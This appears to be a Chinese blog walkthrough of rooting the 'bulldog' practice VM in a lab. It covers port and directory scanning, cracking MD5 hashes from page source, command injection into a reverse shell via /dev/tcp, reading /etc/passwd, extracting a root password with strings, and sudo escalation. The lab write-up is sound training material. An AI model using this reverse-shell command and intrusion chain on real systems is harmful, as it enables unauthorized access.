环境
主机：win10
攻击机：kali
IP：10.181.12.208
工具：nmap、netdiscover（网络发现）、masscan（端口扫描）、dirb（目录爆破）
靶机信息
靶机：bulldog
网络连接方式：桥接模式
IP：10.181.24.155
目标
获取到root权限
查看flag
渗透流程
一 、信息收集
靶机IP为：10.181.24.155
端口扫描
分别使用两款工具（masscan、nmap）
masscan --rate=10000 --ports 0-65535 10.181.24.155
Image.png
没有结果
nmap -sT -O -sV 10.181.24.155
Image.png
开放：23（ssh）、80、8080 端口
漏洞发现
(80、8080是http服务)
尝试web渗透
打开
http://10.181.24.155
Image.png
Image.png
点开Public Notice
Image.png
Image.png
网站一片平静，没有任何异常
网站指纹扫描
whatweb 10.181.24.155
Image.png
得到一些信息关键字：
Diango python2.7.12
Django 是一个基于python开放的web框架，采用框架的话，意味着不太可能出现注入漏洞等
目录扫描
dirb http://10.181.24.155
Image.png
打开/admin目录
Image.png
是个页面登录框
打开/dev目录
Image.png
在这个网站发现一个web-shell 的关键字
点进去
Image.png
说叫我们登录后在使用
查看/dev页面源代码
Image.png
找到注释里 MD5加密后的字符串
依次进行MD5解密
发现都失败了 ，直到最后两条，解密得出
bulldog bulldoglover
与前面用户名匹配
nick：bulldog
sarah：bulldoglover
进行ssh连接
Image.png
Image.png
两个账号其实都连接不上
进入/admin 页面登录
登录成功
进入到/dev/shell 页面 这个页面存在命令注入
Image.png
这个页面只能使用部分命令
ifconfig ls echo pwd cat rm
用echo反弹一个shell出来
echo "bash -i >& /dev/tcp/10.181.12.208/5555 0>&1" | bash
得到一个shell
Image.png
cat /etc/passwd 发现三个重要用户
Image.png
root bulldogadmin django
在/home/bulldogadmin 目录下发现很多隐藏文件
Image.png
cd .hiddenadmindirectory
Image.png
strings customPermissionApp
找到这样一组字符串
Image.png
把后面的H去掉，拼接得到
密码
SUPERultimatePASSWORDyouCANTget #中文意思 超级多用密码
提权
提权到root
su root
Image.png
执行
python -c 'import pty;pty.spawn("/bin/bash")'
在执行
sudo -i
输入密码
SUPERultimatePASSWORDyouCANTget
Image.png
查看当前目录
Image.png
获取flag
cat congrats.txt
Image.png
这段话中说到总共有两种方法可以进入靶机。
渗透完成
知识点
知识点一
使用netdiscover 探测主机
netdiscover -i eth0 -r 10.181.24.0/24
知识点二
whatweb 指纹扫描
whatweb http://10.181.24.155
知识点三
临时搭建一个简易的网站
python -m SimpleHTTPServer 80 # 开启
坑点
1 . 首先，导入靶机，启动后发现获取不了ip，用nmap扫描，也扫不出来，纠结半天也不知道什么原因，只好在文档中找到一个用户名的密码，登录上去，发现靶机并没有获取到ip地址。最后，用开源的VirtualBox导入靶机，问题解决。
总结
这个靶机说难确实很难，说简单，倒也很简单，简单就是它总体的过程很简单，不用绕很大圈子，但是能学到的知识点也不多。难点，就在在于密码上，前面第一个页面，给出了几组Hash值，但是没有给账户名，这意味着靠猜，这种不确定性很高的手段。意味着猜错了，就很伤脑筋。后面提权到root的密码，我都怀疑是这个靶机制作者自己给出的答案。1. 密码存在目录是个隐藏文件夹 2.目录很多，有些是文件，有些是目录。 3. 目录里面还有目录和文件，在这样的文件夹里找密码无异于大海捞针。4 . 在即知道密码目录所在位置，又知道是那个文件，也知道用什么方式获取到的情况下，居然需要从众多的字符串中去猜密码。这无异于是难上加难了。我觉得这个靶机很坑，有两个坑，一个是获取不到ip的坑，第二个就是，这个靶机本身就是个坑。这也绝非脑洞能想出来的。
参考教程： https://blog.csdn.net/qq_42180996/article/details/89527171
网友评论